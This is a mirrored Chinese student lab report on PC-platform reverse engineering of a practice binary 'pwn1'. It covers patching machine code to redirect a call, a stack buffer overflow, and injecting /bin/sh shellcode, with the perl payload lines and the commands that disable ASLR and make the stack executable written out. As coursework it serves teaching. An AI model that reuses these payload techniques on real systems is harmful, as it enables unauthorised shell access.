zoukankan      html  css  js  c++  java
  • 2018-2019-2 网络对抗技术 20165332 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165332 Exp1 PC平台逆向破解

    NOP, JNE, JE, JMP, CMP汇编指令的机器码
    NOP汇编指令:执行到NOP指令时,CPU仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。
    JNE汇编指令:条件转移指令,如果不相等则跳转。
    JE汇编指令:如果条件相等则跳转。
    JMP汇编指令:直接跳转到所需跳转的位置。
    CMP汇编指令:减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

    任务一、直接修改程序机器指令,改变程序执行流程

    1、首先将pwn1文件通过共享文件夹传入虚拟机当中,通过chmod +x pwn1指令加权限,然后objdump -d pwn1,反汇编pwn1文件。


    2、反汇编结束后发现:main函数里面有一步call 8048491,机器码指令为e8 d7 ff ff ff(call的机器码就是e8,后面是地址)。
    通过进一步的分析:08048491是0804847d是我们的跳转目标。

    • vi pwn1进入命令模式
    • 输入:%!xxd将显示模式切换为十六进制
    • 在底行模式输入/e8 d7定位需要修改的地方,并确认
    • 进入插入模式,修改d7为c3
    • 输入:%!xxd -r将十六进制转换为原格式
    • 使用:wq保存并退出

      通过上述步骤看见我的main函数里面已经修改为e8 c3 ff ff ff

    4、执行./pwn1文件可以成功获取shell:

    完成第一个实验。

    二、通过构造输入参数,造成BOF攻击,改变程序执行流

    1、

    使用gdb命令,file pwn1载入pwn1文件,输入gdb pwn1。
    
    输入r执行pwn1,这时程序正常执行,在foo子函数调用的过程中,需要我们输入一个字符串。
    
    输入36个字符后回车:abcdefghijklmnopqrstuvwxyz1234567890
    


    2、

    此时eip寄存器中的值为0x30393837,eip寄存器的值是保存程序下一步所要执行指令的地址,本次实验用的是小端机器,30、39、38、37分别是0、9、8、7对应的ASCII码,那么也就是说最后4位刚好完成溢出,覆盖掉返回地址了。
    
    我们需要使用perl语句,用管道的方式把上一个命令的结果作为下一个的输入。
    
    使用:perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
    
    然后将input的输入,通过管道符“|”,作为pwn1的输入。攻击成功以后出现的截图:
    


    完成第二个实验。

    三、注入Shellcode并执行

    shellcode就是一段机器指令(code)
    通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
    在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
    首先使用apt-get install execstack命令安装execstack。

    修改以下内容:

    • 设置堆栈可执行execstack -s pwn1
    • 查询文件的堆栈是否可执行 execstack -q pwn1
    • 关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
    • 查询地址随机化是否关闭(0代表关闭,2代表开启)more /proc/sys/kernel/randomize_va_space

    用perl语言输入代码
    perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    上面的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们把它改为这段shellcode的地址。

    确定返回地址的值

    将写好的代码通过管道方式输入给程序pwn1中的foo函数进行覆盖
    (cat input_shellcode;cat) | ./pwn1
    打开另外一个终端,用gdb来调试pwn1这个进程
    ps -ef | grep pwn1确定pwn1的进程号
    启动gdb调试这个程序 gdb attach 1964

    • 设置断点来查看注入buf的内存地址disassemble foo
    • ret的地址为 0x080484ae,ret完就会跳到我们覆盖的返回地址了
    • break *0x080484ae设置断点
    • 在另一个终端按下回车,这样程序就会执行之后在断点处停下来
    • 再在gdb调试的终端输入 c 继续运行程序
    • 通过info r esp查看esp寄存器的地址

      可以看到0x01020304所在的地址为0xffffd22c,那么注入的shellcode代码的地址应该在该地址后四个字节的位置,即

    0xffffd22c + 0x00000004 = 0xffffd230

    退出gdp调试。
    输入

    perl -e 'print "A" x 32;print "x30xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    执行程序,攻击成功

  • 相关阅读:
    进程的Binder线程池工作过程
    Binder系列—开篇
    shell脚本使用技巧3--调试
    shell脚本使用--sleep
    shell脚本使用技巧2
    linux添加环境变量
    shell脚本学习1(Linux脚本攻略)
    c++语言的设计和演化---在线函数
    vim常用快捷键
    git常用命令
  • 原文地址:https://www.cnblogs.com/yyzzuishuai/p/10543035.html
Copyright © 2011-2022 走看看